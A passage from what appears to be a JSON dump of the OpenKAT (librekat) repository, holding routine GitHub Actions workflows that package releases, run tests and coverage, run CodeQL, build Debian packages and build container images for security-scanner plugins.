/dev/stdin; pip install --no-deps ${{ github.workspace }}/octopoes/dist/octopoes*.whl\n        working-directory: /var/www/html\n\n      - name: Create archive\n        run: tar -zcvf ${{ env.PKGDIR }}/boefjes_venv_${{ env.RELEASE_VERSION }}_python${{ matrix.python_version }}.tar.gz -C /var/www/html/ .venv\n\n      - name: Create boefjes release\n        run: tar -cvzf ${{ env.PKGDIR }}/boefjes_${{ env.RELEASE_VERSION }}.tar.gz .\n        working-directory: ./boefjes\n\n      # Common / Uploads\n      - name: Octopoes Upload whl package\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: \"octopoes-${{env.RELEASE_VERSION}}_python${{ matrix.python_version }}\"\n          path: \"${{ github.workspace }}/octopoes/dist/octopoes*.whl\"\n\n      - name: Octopoes Upload venv tar\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: octopoes_venv_${{ env.RELEASE_VERSION }}_python${{ matrix.python_version }}\n          path: ${{ env.PKGDIR }}/octopoes_venv_${{ env.RELEASE_VERSION }}_python${{ matrix.python_version }}.tar.gz\n\n      - name: Octopoes Upload octopoes tar\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: octopoes_${{ env.RELEASE_VERSION }}\n          path: ${{ env.PKGDIR }}/octopoes_${{ env.RELEASE_VERSION }}.tar.gz\n\n      - name: Rocky Upload rocky tar\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: rocky_${{ env.RELEASE_VERSION }}\n          path: ${{ env.PKGDIR }}/rocky_${{ env.RELEASE_VERSION }}.tar.gz\n\n      - name: Rocky Upload venv tar\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: rocky_venv_${{ env.RELEASE_VERSION }}_python${{ matrix.python_version }}\n          path: ${{ env.PKGDIR }}/rocky_venv_${{ env.RELEASE_VERSION }}_python${{ matrix.python_version }}.tar.gz\n\n      - name: Bytes Upload bytes tar\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: bytes_${{ env.RELEASE_VERSION }}\n          path: ${{ env.PKGDIR }}/bytes_${{ env.RELEASE_VERSION }}.tar.gz\n\n      - name: Bytes Upload bytes venv tar\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: bytes_venv_${{ env.RELEASE_VERSION }}_python${{ matrix.python_version }}\n          path: ${{ env.PKGDIR }}/bytes_venv_${{ env.RELEASE_VERSION }}_python${{ matrix.python_version }}.tar.gz\n\n      - name: Upload scheduler release\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: scheduler_${{ env.RELEASE_VERSION }}\n          path: ${{ env.PKGDIR }}/scheduler_${{ env.RELEASE_VERSION }}.tar.gz\n\n      - name: Upload venv archive\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: scheduler_venv_${{ env.RELEASE_VERSION }}_python${{ matrix.python_version }}\n          path: ${{ env.PKGDIR }}/scheduler_venv_${{ env.RELEASE_VERSION }}_python${{ matrix.python_version }}.tar.gz\n\n      - name: Upload boefjes tar\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: boefjes_${{ env.RELEASE_VERSION }}\n          path: ${{ env.PKGDIR }}/boefjes_${{ env.RELEASE_VERSION }}.tar.gz\n\n      - name: Upload venv tar\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: boefjes_venv_${{ env.RELEASE_VERSION }}_python${{ matrix.python_version }}\n          path: ${{ env.PKGDIR }}/boefjes_venv_${{ env.RELEASE_VERSION }}_python${{ matrix.python_version }}.tar.gz\n"
  },
  {
    "path": ".github/workflows/build_docs_on_pr.yml",
    "content": "name: Build docs artifact for PR\n\non:\n  pull_request:\n    paths:\n      # We generate documentation for boefje, bytes, mula and octopoes\n      # from code so the workflow should also depend on it.\n      - \"boefje/**\"\n      - \"bytes/**\"\n      - \"docs/**\"\n      - \"mula/**\"\n      - \"octopoes/**\"\n      - \"requirements.txt\"\n      - \".github/workflows/build_docs_on_pr.yml\"\n\n  # Allows you to run this workflow manually from the Actions tab\n  workflow_dispatch:\n\njobs:\n  build-artifact:\n    permissions:\n      contents: read\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0\n        with:\n          python-version: 3.13\n          cache: \"pip\" # caching pip dependencies\n\n      - name: Install pip dependencies\n        run: pip install -r requirements.txt\n\n      - name: Compile static HTML\n        run: make docs\n\n      - name: Upload artifact\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: \"github-pages-no-deploy\"\n          path: \"docs/_build\"\n"
  },
  {
    "path": ".github/workflows/bytes-tests.yml",
    "content": "name: Bytes Tests (with coverage)\n\non:\n  workflow_call:\n\njobs:\n  unit-tests:\n    runs-on: ubuntu-24.04\n    steps:\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Run unit tests\n        run: make utest\n        working-directory: bytes/\n\n      - name: Upload coverage as artifact\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: bytes-coverage-unit\n          path: bytes/.coverage\n          include-hidden-files: true\n\n  integration-tests:\n    runs-on: ubuntu-24.04\n    steps:\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Run integration tests\n        run: make itest\n        working-directory: bytes/\n\n      - name: Upload coverage as artifact\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: bytes-coverage-integration\n          path: bytes/.coverage\n          include-hidden-files: true\n\n  coverage:\n    runs-on: ubuntu-24.04\n    needs:\n      - unit-tests\n      - integration-tests\n\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0\n        with:\n          python-version: \"3.13\"\n          cache: \"pip\" # caching pip dependencies\n\n      - name: Install coverage\n        run: pip install coverage[toml]\n\n      - name: Download coverage artifacts\n        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1\n        with:\n          pattern: bytes-coverage-*\n\n      - name: Merge and generate coverage report\n        run: |\n          coverage combine ../**/.coverage\n          coverage report\n          coverage xml --ignore-errors\n        working-directory: bytes/\n\n      - name: Upload coverage as artifact\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: bytes-coverage\n          path: bytes/coverage.xml\n"
  },
  {
    "path": ".github/workflows/bytes_container_image.yml",
    "content": "name: Bytes Create container image\n\non:\n  push:\n    branches:\n      - \"main\"\n      - \"release-*\"\n    tags:\n      - \"*\"\n    paths:\n      - bytes/**\n      - .github/workflows/bytes_container_image.yml\n  pull_request:\n    paths:\n      - bytes/**\n      - .github/workflows/bytes_container_image.yml\n\njobs:\n  create_container_image:\n    permissions:\n      contents: read\n      packages: write\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Docker meta\n        id: meta\n        uses: docker/metadata-action@030e881283bb7a6894de51c315a6bfe6a94e05cf # v6.0.0\n        with:\n          images: |\n            docker.underdark.nl/librekat/openkat-bytes\n          tags: |\n            type=ref,event=branch\n            type=ref,event=tag\n            type=ref,event=pr\n\n      - name: Set up Docker Buildx\n        uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4.0.0\n        id: buildx\n\n      - name: Login to librekat Container Registry\n        if: github.event_name == 'push' || github.event.pull_request.head.repo.owner.login == github.event.pull_request.base.repo.owner.login\n        uses: docker/login-action@b45d80f862d83dbcd57f89517bcf500b2ab88fb2 # v4.0.0\n        with:\n          registry: docker.underdark.nl\n          username: ${{ secrets.librekat_user }}\n          password: ${{ secrets.librekat_password }}\n\n      - name: Generate version.py\n        run: |\n          pip install setuptools-scm==7.1.0\n          python -m setuptools_scm\n          cp _version.py bytes/bytes/version.py\n\n      - name: Build container image\n        uses: docker/build-push-action@bcafcacb16a39f128d818304e6c9c0c18556b85f # v7.1.0\n        with:\n          # We don't use git context because that doesn't process .dockerignore\n          # https://github.com/docker/cli/issues/2827\n          context: bytes\n          push: ${{ github.event_name == 'push' || github.event.pull_request.head.repo.owner.login == github.event.pull_request.base.repo.owner.login }}\n          tags: ${{ steps.meta.outputs.tags }}\n          labels: ${{ steps.meta.outputs.labels }}\n          cache-from: type=gha\n          cache-to: type=gha,mode=max\n"
  },
  {
    "path": ".github/workflows/bytes_tests.yml",
    "content": "name: Bytes Run the test suite\n\non:\n  push:\n    branches:\n      - \"main\"\n      - \"release-*\"\n    tags:\n      - \"*\"\n    paths:\n      - bytes/**\n      - .github/workflows/bytes_tests.yml\n  pull_request:\n    paths:\n      - bytes/**\n      - .github/workflows/bytes_tests.yml\n\njobs:\n  test:\n    permissions:\n      contents: read\n    strategy:\n      fail-fast: false\n      matrix:\n        version: [\"3.10\", \"3.11\", \"3.12\", \"3.13\"]\n\n    runs-on: ubuntu-24.04\n\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Run unit tests\n        run: make utest build_args='--build-arg PYTHON_VERSION=${{ matrix.version }}'\n        working-directory: ./bytes\n\n      - name: Run integration tests\n        run: SLEEP_TIME=5 make itest build_args='--build-arg PYTHON_VERSION=${{ matrix.version }}'\n        working-directory: ./bytes\n"
  },
  {
    "path": ".github/workflows/check_requirements.yml",
    "content": "name: Check dependencies\n\non:\n  push:\n    branches:\n      - \"main\"\n      - \"release-*\"\n    tags:\n      - \"*\"\n    paths:\n      - \"**/requirements.txt\"\n      - \"**/requirements-dev.txt\"\n      - \"**/pyproject.toml\"\n      - \"**/uv.lock\"\n      - \".github/workflows/check_requirements.yml\"\n  pull_request:\n    paths:\n      - \"**/requirements.txt\"\n      - \"**/requirements-dev.txt\"\n      - \"**/pyproject.toml\"\n      - \"**/uv.lock\"\n      - \".github/workflows/check_requirements.yml\"\n\njobs:\n  poetry-dependencies:\n    permissions:\n      contents: read\n\n    runs-on: ubuntu-24.04\n    steps:\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Set up Python\n        uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0\n        id: py313\n        with:\n          python-version: 3.13\n          cache: pip\n\n      - name: Install uv\n        run: pip install uv==0.7.13\n\n      - name: Check, lock, and export requirements\n        run: make requirements\n\n      - name: Check if there are any changed files\n        if: ${{ github.actor != 'dependabot[bot]' }}\n        run: git diff --exit-code\n"
  },
  {
    "path": ".github/workflows/codeql.yml",
    "content": "name: \"CodeQL OpenKAT\"\n\non:\n  push:\n    branches:\n      - \"main\"\n      - \"release-*\"\n  pull_request:\n  schedule:\n    # Weekly on Sunday.\n    - cron: \"30 1 * * 0\"\n\njobs:\n  analyze:\n    name: Analyze (${{ matrix.language }})\n    runs-on: [\"ubuntu-latest\"]\n    permissions:\n      # required for all workflows\n      security-events: write\n    strategy:\n      fail-fast: false\n      matrix:\n        include:\n          - language: javascript-typescript\n            build-mode: none\n          - language: python\n            build-mode: none\n          - language: actions\n            build-mode: none\n\n    steps:\n      - name: Checkout repository\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      # Initializes the CodeQL tools for scanning.\n      - name: Initialize CodeQL\n        uses: github/codeql-action/init@c10b8064de6f491fea524254123dbe5e09572f13 # v3.29.5\n        with:\n          languages: ${{ matrix.language }}\n          build-mode: ${{ matrix.build-mode }}\n          queries: security-extended # Use security extended, when too many false positives we can switch back to default\n\n      # Use the CodeQL tools for analyzing.\n      - name: Perform CodeQL Analysis\n        uses: github/codeql-action/analyze@c10b8064de6f491fea524254123dbe5e09572f13 # v3.29.5\n        with:\n          category: \"/language:${{matrix.language}}\"\n"
  },
  {
    "path": ".github/workflows/containerized_boefjes.yml",
    "content": "name: Build containerized boefjes\n\non:\n  push:\n    branches:\n      - \"main\"\n      - \"release-*\"\n    tags:\n      - \"*\"\n    paths:\n      - boefjes/boefjes/plugins/**\n      - boefjes/images/**\n      - .github/workflows/containerized_boefjes.yml\n  pull_request:\n    paths:\n      - boefjes/boefjes/plugins/kat_nmap_tcp/**\n      - boefjes/boefjes/plugins/kat_nmap_udp/**\n      - boefjes/boefjes/plugins/kat_dnssec/**\n      - boefjes/boefjes/plugins/kat_nikto/**\n      - boefjes/boefjes/plugins/kat_export_http/**\n      - boefjes/images/**\n      - .github/workflows/containerized_boefjes.yml\n\njobs:\n  build_containerized_boefjes:\n    permissions:\n      contents: read\n      packages: write\n    strategy:\n      fail-fast: false\n      matrix:\n        include:\n          - dockerfile: boefjes/boefjes/plugins/kat_nmap_tcp/boefje.Dockerfile\n            image: openkat-nmap\n          - dockerfile: boefjes/boefjes/plugins/kat_dnssec/boefje.Dockerfile\n            image: openkat-dns-sec\n          - dockerfile: boefjes/boefjes/plugins/kat_export_http/boefje.Dockerfile\n            image: openkat-export-http\n          - dockerfile: boefjes/boefjes/plugins/kat_nikto/boefje.Dockerfile\n            image: openkat-nikto\n          - dockerfile: boefjes/images/generic.Dockerfile\n            image: openkat-generic\n          - dockerfile: boefjes/boefjes/plugins/kat_adr_validator/boefje.Dockerfile\n            image: openkat-adr-validator\n          - dockerfile: boefjes/boefjes/plugins/kat_masscan/boefje.Dockerfile\n            image: openkat-masscan\n          - dockerfile: boefjes/boefjes/plugins/kat_nuclei_cve/boefje.Dockerfile\n            image: openkat-nuclei\n          - dockerfile: boefjes/boefjes/plugins/kat_ssl_certificates/boefje.Dockerfile\n            image: openkat-ssl-certificates\n          - dockerfile: boefjes/boefjes/plugins/kat_ssl_scan/boefje.Dockerfile\n            image: openkat-ssl-scan\n          - dockerfile: boefjes/boefjes/plugins/kat_testssl_sh_ciphers/boefje.Dockerfile\n            image: openkat-testssl-sh-ciphers\n          - dockerfile: boefjes/boefjes/plugins/kat_webpage_capture/boefje.Dockerfile\n            image: openkat-webpage-capture\n          - dockerfile: boefjes/boefjes/plugins/kat_wpscan/boefje.Dockerfile\n            image: openkat-wp-scan\n          - dockerfile: boefjes/boefjes/plugins/kat_pdio_subfinder/boefje.Dockerfile\n            image: openkat-pdio-subfinder\n    runs-on: ubuntu-24.04\n    services:\n      registry:\n        image: registry:2\n        ports:\n          - 5000:5000\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Set up Docker Buildx\n        uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4.0.0\n        id: buildx\n        with:\n          driver-opts: network=host\n\n      - name: Build the boefje base image for ${{ matrix.image }}\n        uses: docker/build-push-action@bcafcacb16a39f128d818304e6c9c0c18556b85f # v7.1.0\n        with:\n          context: ./boefjes\n          file: boefjes/images/base.Dockerfile\n          # We don't push as this is an intermediate image that handles common operations for most boefjes\n          load: true\n          push: true\n          tags: localhost:5000/openkat/boefje-base:latest\n          cache-from: type=gha\n          cache-to: type=gha,mode=max\n\n      - name: Docker meta\n        id: meta\n        uses: docker/metadata-action@030e881283bb7a6894de51c315a6bfe6a94e05cf # v6.0.0\n        with:\n          images: |\n            docker.underdark.nl/librekat/${{ matrix.image }}\n          tags: |\n            type=ref,event=branch\n            type=ref,event=tag\n            type=ref,event=pr\n\n      - name: Login to librekat Container Registry\n        if: github.event_name == 'push' || github.event.pull_request.head.repo.owner.login == github.event.pull_request.base.repo.owner.login\n        uses: docker/login-action@b45d80f862d83dbcd57f89517bcf500b2ab88fb2 # v4.0.0\n        with:\n          registry: docker.underdark.nl\n          username: ${{ secrets.librekat_user }}\n          password: ${{ secrets.librekat_password }}\n\n      - name: Build container image for ${{ matrix.image }}\n        uses: docker/build-push-action@bcafcacb16a39f128d818304e6c9c0c18556b85f # v7.1.0\n        with:\n          # We don't use git context because that doesn't process .dockerignore\n          # https://github.com/docker/cli/issues/2827\n          context: ./boefjes\n          file: ${{ matrix.dockerfile }}\n          push: ${{ github.event_name == 'push' || github.event.pull_request.head.repo.owner.login == github.event.pull_request.base.repo.owner.login }}\n          tags: ${{ steps.meta.outputs.tags }}\n          labels: ${{ steps.meta.outputs.labels }}\n          build-contexts: |\n            openkat/boefje-base:latest=docker-image://localhost:5000/openkat/boefje-base:latest\n          cache-from: type=gha\n          cache-to: type=gha,mode=max\n"
  },
  {
    "path": ".github/workflows/debian_package.yml",
    "content": "name: Debian packages\n\non:\n  push:\n    branches:\n      - \"main\"\n      - \"release-*\"\n    tags:\n      - \"*\"\n  pull_request:\n\njobs:\n  changes:\n    permissions: {}\n    runs-on: ubuntu-24.04\n    outputs:\n      packages: ${{ steps.filter.outputs.changes }}\n    steps:\n      - uses: dorny/paths-filter@fbd0ab8f3e69293af611ebaee6363fc25e6d187d # v4.0.1\n        if: github.event_name != 'push'\n        id: filter\n        with:\n          filters: |\n            boefjes:\n              - 'boefjes/**'\n              - 'octopoes/**'\n              - '.github/workflows/debian_package.yml'\n            bytes:\n              - 'bytes/**'\n              - '.github/workflows/debian_package.yml'\n            cveapi:\n              - 'cveapi/**'\n              - '.github/workflows/debian_package.yml'\n            mula:\n              - 'mula/**'\n              - '.github/workflows/debian_package.yml'\n            octopoes:\n              - 'octopoes/**'\n              - '.github/workflows/debian_package.yml'\n            rocky:\n              - 'rocky/**'\n              - 'octopoes/**'\n              - '.github/workflows/debian_package.yml'\n\n  build:\n    permissions:\n      contents: read\n    needs: changes\n    if: ${{ github.event_name == 'push' || (needs.changes.outputs.packages != '[]' && needs.changes.outputs.packages != '') }}\n    strategy:\n      fail-fast: false\n      matrix:\n        dist: [debian12, ubuntu22.04]\n        # On main, release branches and tags we always want to build all the packages\n        package: ${{ github.event_name == 'push' && fromJSON('[\"boefjes\", \"bytes\", \"cveapi\", \"mula\", \"octopoes\", \"rocky\"]') || fromJSON(needs.changes.outputs.packages) }}\n        exclude:\n          - package: cveapi\n            dist: ubuntu22.04\n    runs-on: ubuntu-24.04\n    env:\n      PKG_NAME: kat-${{ matrix.package }}\n\n    steps:\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Generate version.py and set RELEASE_VERSION\n        run: |\n          pip install setuptools-scm==7.1.0\n          echo \"RELEASE_VERSION=$(python -m setuptools_scm | sed s/rc/~rc/)\" >> $GITHUB_ENV\n          cp _version.py boefjes/boefjes/version.py\n          cp _version.py boefjes/boefjes/katalogus/version.py\n          cp _version.py bytes/bytes/version.py\n          cp _version.py mula/scheduler/version.py\n          cp _version.py octopoes/octopoes/version.py\n          cp _version.py rocky/rocky/version.py\n\n      - name: Run debian package build\n        uses: maus007/docker-run-action-fork@5ddaad0f7eedd03f64e412b1931852bd3031b273\n        with:\n          run: packaging/scripts/build-debian-package.sh\n          registry: docker.underdark.nl\n          image: docker.underdark.nl/librekat/openkat-${{ matrix.dist }}-build-image:latest\n          username: ${{ secrets.librekat_user }}\n          password: ${{ secrets.librekat_password }}\n          options: -v ${{ github.workspace }}/${{ matrix.package }}:/app\n            -v ${{ github.workspace }}/octopoes:/octopoes\n            -e REPOSITORY=${{ github.repository }}\n            -e RELEASE_VERSION=${{ env.RELEASE_VERSION }}\n            -e RELEASE_TAG=${{ env.RELEASE_TAG }}\n            -e PKG_NAME=${{ env.PKG_NAME }}\n            --workdir /app\n\n      - name: Upload .deb to artifacts\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: ${{env.PKG_NAME}}_${{ env.RELEASE_VERSION }}_${{ matrix.dist }}.deb\n          path: ${{matrix.package}}/build/${{env.PKG_NAME}}_${{ env.RELEASE_VERSION }}_${{ matrix.package == 'cveapi' && 'all' || 'amd64' }}.deb\n\n  add-debian-packages-to-release:\n    permissions:\n      contents: write\n    needs: build\n    runs-on: ubuntu-24.04\n    if: startsWith(github.ref, 'refs/tags/')\n\n    steps:\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Generate version.py and set RELEASE_VERSION\n        run: |\n          pip install setuptools-scm==7.1.0\n          echo \"RELEASE_VERSION=$(python -m setuptools_scm | sed s/rc/~rc/)\" >> $GITHUB_ENV\n\n      - name: Download all assets for debian12\n        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1\n        with:\n          path: kat-debian12-${{ env.RELEASE_VERSION }}\n          merge-multiple: true\n          pattern: kat-*_debian12.deb\n\n      - name: Download all assets for ubuntu22.04\n        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1\n        with:\n          path: kat-ubuntu22.04-${{ env.RELEASE_VERSION }}\n          merge-multiple: true\n          pattern: kat-*_ubuntu22.04.deb\n\n      - name: Move cve-api asset to add it as a separate artifact\n        run: mv kat-debian12-${{ env.RELEASE_VERSION }}/kat-cveapi_${{ env.RELEASE_VERSION }}_all.deb .\n\n      - name: Bundle assets\n        run: |\n          tar -cvzf kat-debian12-${{ env.RELEASE_VERSION }}.tar.gz -C kat-debian12-${{ env.RELEASE_VERSION }} .\n          tar -cvzf kat-ubuntu22.04-${{ env.RELEASE_VERSION }}.tar.gz -C kat-ubuntu22.04-${{ env.RELEASE_VERSION }} .\n\n      - name: Add Release Assets\n        uses: softprops/action-gh-release@153bb8e04406b158c6c84fc1615b65b24149a1fe # v2.6.1\n        with:\n          generate_release_notes: true\n          files: |\n            kat-debian12-${{ env.RELEASE_VERSION }}.tar.gz\n            kat-ubuntu22.04-${{ env.RELEASE_VERSION }}.tar.gz\n            kat-cveapi_${{ env.RELEASE_VERSION }}_all.deb\n"
  },
  {
    "path": ".github/workflows/deploy_docs.yml",
    "content": "name: Compile and deploy documentation to Pages\n\non:\n  push:\n    branches:\n      - \"main\"\n\n  # Allows you to run this workflow manually from the Actions tab\n  workflow_dispatch:\n\n# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages\npermissions:\n  contents: read\n  pages: write\n  id-token: write\n\n# Allow one concurrent deployment\nconcurrency:\n  group: \"pages\"\n  cancel-in-progress: true\n\njobs:\n  deploy:\n    environment:\n      name: github-pages\n      url: ${{ steps.deployment.outputs.page_url }}\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0\n        with:\n          python-version: 3.13\n          cache: \"pip\" # caching pip dependencies\n\n      - name: Install pip dependencies\n        run: pip install -r requirements.txt\n\n      - name: Compile static HTML\n        run: make docs\n\n      - name: Setup Pages\n        uses: actions/configure-pages@45bfe0192ca1faeb007ade9deae92b16b8254a0d # v6.0.0\n\n      - name: Upload artifact\n        uses: actions/upload-pages-artifact@fc324d3547104276b827a68afc52ff2a11cc49c9 # v5.0.0\n        with:\n          path: \"docs/_build\"\n\n      - name: Deploy to GitHub Pages\n        id: deployment\n        uses: actions/deploy-pages@cd2ce8fcbc39b97be8ca5fce6e763baed58fa128 # v5.0.0\n"
  },
  {
    "path": ".github/workflows/mula-tests.yml",
    "content": "name: Mula Tests (with coverage)\n\non:\n  workflow_call:\n\njobs:\n  unit-tests:\n    runs-on: ubuntu-24.04\n    steps:\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Run unit tests\n        run: make utest\n        working-directory: mula/\n\n      - name: Upload coverage as artifact\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: mula-coverage-unit\n          path: mula/.coverage\n          include-hidden-files: true\n\n  integration-tests:\n    runs-on: ubuntu-24.04\n    steps:\n      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Run integration tests\n        run: make itest\n        working-directory: mula/\n\n      - name: Upload coverage as artifact\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: mula-coverage-integration\n          path: mula/.coverage\n          include-hidden-files: true\n\n  coverage:\n    runs-on: ubuntu-24.04\n    needs:\n      - unit-tests\n      - integration-tests\n\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0\n        with:\n          python-version: \"3.13\"\n          cache: \"pip\" # caching pip dependencies\n\n      - name: Install coverage\n        run: pip install coverage[toml]\n\n      - name: Download coverage artifacts\n        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1\n        with:\n          pattern: mula-coverage-*\n\n      - name: Merge and generate coverage report\n        run: |\n          coverage combine ../**/.coverage\n          coverage report\n          coverage xml --ignore-errors\n        working-directory: mula/\n\n      - name: Upload coverage as artifact\n        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1\n        with:\n          name: mula-coverage\n          path: mula/coverage.xml\n"
  },
  {
    "path": ".github/workflows/mula_container_image.yml",
    "content": "name: Mula Create container image\n\non:\n  push:\n    branches:\n      - \"main\"\n      - \"release-*\"\n    tags:\n      - \"*\"\n    paths:\n      - mula/**\n      - .github/workflows/mula_container_image.yml\n  pull_request:\n    paths:\n      - mula/**\n      - .github/workflows/mula_container_image.yml\n\njobs:\n  create_container_image:\n    permissions:\n      contents: read\n      packages: write\n    runs-on: ubuntu-24.04\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Docker meta\n        id: meta\n        uses: docker/metadata-action@030e881283bb7a6894de51c315a6bfe6a94e05cf # v6.0.0\n        with:\n          images: |\n            docker.underdark.nl/librekat/openkat-mula\n          tags: |\n            type=ref,event=branch\n            type=ref,event=tag\n            type=ref,event=pr\n\n      - name: Set up Docker Buildx\n        uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4.0.0\n        id: buildx\n\n      - name: Login to the Container Registry\n        if: github.event_name == 'push' || github.event.pull_request.head.repo.owner.login == github.event.pull_request.base.repo.owner.login\n        uses: docker/login-action@b45d80f862d83dbcd57f89517bcf500b2ab88fb2 # v4.0.0\n        with:\n          registry: docker.underdark.nl\n          username: ${{ secrets.librekat_user }}\n          password: ${{ secrets.librekat_password }}\n\n      - name: Generate version.py\n        run: |\n          pip install setuptools-scm==7.1.0\n          python -m setuptools_scm\n          cp _version.py mula/scheduler/version.py\n\n      - name: Build container image\n        uses: docker/build-push-action@bcafcacb16a39f128d818304e6c9c0c18556b85f # v7.1.0\n        with:\n          # We don't use git context because that doesn't process .dockerignore\n          # https://github.com/docker/cli/issues/2827\n          context: mula\n          push: ${{ github.event_name == 'push' || github.event.pull_request.head.repo.owner.login == github.event.pull_request.base.repo.owner.login }}\n          tags: ${{ steps.meta.outputs.tags }}\n          labels: ${{ steps.meta.outputs.labels }}\n          cache-from: type=gha\n          cache-to: type=gha,mode=max\n"
  },
  {
    "path": ".github/workflows/mula_tests.yml",
    "content": "name: Mula Run the test suite\n\non:\n  push:\n    branches:\n      - \"main\"\n      - \"release-*\"\n    tags:\n      - \"*\"\n    paths:\n      - mula/**\n      - .github/workflows/mula_tests.yml\n  pull_request:\n    paths:\n      - mula/**\n      - .github/workflows/mula_tests.yml\n\njobs:\n  test:\n    permissions:\n      contents: read\n    strategy:\n      fail-fast: false\n      matrix:\n        version: [\"3.10\", \"3.11\", \"3.12\", \"3.13\"]\n\n    runs-on: ubuntu-24.04\n    env:\n      COMPOSE_FILE: .ci/docker-compose.yml\n\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2\n\n      - name: Build the images\n        run: DOCKER_BUILDKIT=1 COMPOSE_DOCKER_CLI_BUILD=1 docker compose --project-directory . -f .ci/docker-compose.yml build --build-arg PYTHON_VERSION=${{ matrix.version }}\n        working-directory: ./mula\n\n      - name: Run unit tests\n        run: make utest\n        working-directory: ./mula\n\n      - name: Run integration tests\n        run: make itest\n        working-directory: ./mula\n"
  },
  {
    "path": ".github/workflows/octopoes-tests.yml",
